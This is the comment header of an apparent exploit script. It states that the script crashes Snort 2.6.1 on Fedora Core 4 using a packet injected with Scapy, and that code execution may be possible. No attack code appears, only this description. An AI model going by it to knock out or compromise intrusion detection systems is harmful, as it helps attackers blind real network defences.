# This exploit just crash Snort 2.6.1 on Fedora Core 4. However, Code Execution  
# may be possible, but I have no time to make it :(   
# I will post the information about this vulnerability in my blog soon  
#  
# Note: this exploit use Scapy (http://www.secdev.org/projects/scapy/)   
# to inject the packet, so you have to install Scapy before use it.
